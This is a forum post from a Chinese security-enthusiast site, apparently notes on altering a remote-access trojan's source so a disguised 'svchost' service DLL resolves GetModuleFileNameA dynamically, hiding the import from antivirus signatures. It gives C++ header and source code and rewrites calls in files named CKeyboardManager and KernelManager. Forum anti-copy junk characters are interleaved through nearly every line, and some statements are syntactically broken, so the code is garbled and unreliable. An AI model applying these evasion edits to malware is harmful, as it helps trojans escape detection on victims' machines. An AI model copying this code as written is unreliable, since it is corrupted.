Board logo

标题: [原创文章] 全局动态调用 [打印本页]

作者: ice_xke    时间: 2010-10-19 12:30     标题: 全局动态调用

全局动态调用笔记
) |# [+ J) N- {# \svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h$ p% d% c8 _$ Z  ^4 c
----------------------------------------4 B3 H+ C6 `' F
DTDY.h:$ s' f& k; x) C8 o+ F* d+ Q0 A

8 H+ `% S2 B4 @4 o$ R$ j#if _MSC_VER>1000& L' e* Q. j* H% V0 _7 \7 ?
#pragma once  A9 _+ \8 ~* R
#endif //_MSC_VER>10000 l  |* p: w. H- e* m0 h; U! x
#include<windows.h>
: o  y3 J1 _% Y; x; r
' C" U3 k! Q7 k" s2 Etypedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);* w! H$ g: w4 V3 g' v0 Q
class DTDY
' S: g' V, X* |$ o7 f. S! t2 r{. f, V# p& H% }- B0 l
public:# Z/ L  m8 o" u+ ~# A9 r
DTDY();% _( G) ^* w! }' H0 @  S1 ?; E9 X; H
virtual ~DTDY();+ v) y) ~1 a0 O' {% }. [
public:
/ D4 T' A* w4 g9 O% y5 b4 r) Dstatic pGetModuleFileNameA MyGetModuleFileName;
0 s1 }5 o, @( q# q' _6 P3 Istatic BOOL FunInitiallization();
  t2 O# \# I, S" W' ?6 i! q};' Y8 E8 V! D, s' w$ D( V
#endif$ n4 z, j( x2 H
----------------------------------------
1 |' H) V/ H& q, h9 \3 m
. x. x* U" G: H/ HDTDY.cpp:
( u( n# J7 y+ O- K* l5 @* _9 Q% b* ]* {1 F3 W$ N. X# `' [. o  f
#include "DTDY.h"
! P0 W: S5 v. C$ i. j. YpGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
/ S& X: L' O; X0 m7 T. GDTDY:TDY()& U* D4 S8 h& |: H1 y) b
{
2 T7 a6 ?1 [5 r2 T) `# M% o# k3 @1 d}
- m6 `8 n1 @( X2 s" eDTDY::~DTDY()( L3 k8 X2 \, ?$ p, r
{1 c4 u" \, J7 c1 X
}
! c. [* O2 `' h# W' W0 hBOOL DTDY::FunInitiallization()
+ f# y" j1 ?; T( M' ^6 L{' N" R. i- J$ R1 ~8 q
HMODULE hModule=LoadLibrary("kernel32.dll");/ I- L3 |2 t) }0 G" A# m/ \  F% y
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");7 W1 @  w( @& l. h1 M$ x7 }
if(!MyGetModuleFileName=) return FALSE;
, n, s# h$ ^, Z3 _5 ]. ]* u+ m; O3 |: f% |2 g" S
return TRUE;
. |4 j% [* C' |: T}: v. J5 b/ M2 s! Q0 c& a8 b
----------------------------------------
$ F" O) c# F0 c2 i/ N& n) \4 u8 ?, \svchost.cpp:
4 C% \! J9 W6 M. N3 T3 s% W5 w* r& U8 O7 |" k& j& `* x6 T9 @% u
#include "DTDY.h"
* b8 ~! x6 {$ A0 B- [, |
, x* G- X6 U' d9 N9 ABOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)& m' C. ?" R; s! s6 n" E! ^
{
" f4 k! X% @; Xswitch(ul_reason_for_call)
& I+ J  n* B0 o( i0 e; k0 h& q{/ p) ]5 v/ p# k" {/ I1 Y& Z
case DLL_PROCESS_ATTACH:/ E- v7 ^$ H* a- @& D+ r$ r- d
if(!DTDY::FunInitiallization()) return FALSE;
; K' V: n) h3 a* r& K; b4 ^' y2 z4 q+ r/ M7 o& |2 {6 E5 v% f
break;
8 P( T: {; l  u! F}" L" g( C1 n4 b+ f! f" ?; ^
}
* X' p. }" X. g2 d. m& S6 P$ q" g% Z, g- L# X
" A( x! g* I  _( y! W& g  _, ^  N
GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def: ?+ x$ F9 Q; U4 j" Y; R
改写为# x; s& c; O* F4 X# ^- L5 I
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
8 G  N8 t& N% I$ @----------------------------------------
) R, Q* {+ {. `- |7 ^6 D2 c" K. zKernelManager.cpp:0 q- k# t2 b1 T! r

7 b: P  C/ [/ G' B: f#include "../DTDY.h"
9 u. ~9 K& G+ V! E3 B5 XGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
  x; j0 S5 f4 z1 x: Z  ]! l/ m改写为+ h5 W3 i' J. S! C* }; y( _
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));% b# s, \- M2 O+ R1 ^+ y
----------------------------------------




欢迎光临 【3.A.S.T】网络安全爱好者 (http://3ast.com/) Powered by Discuz! 7.2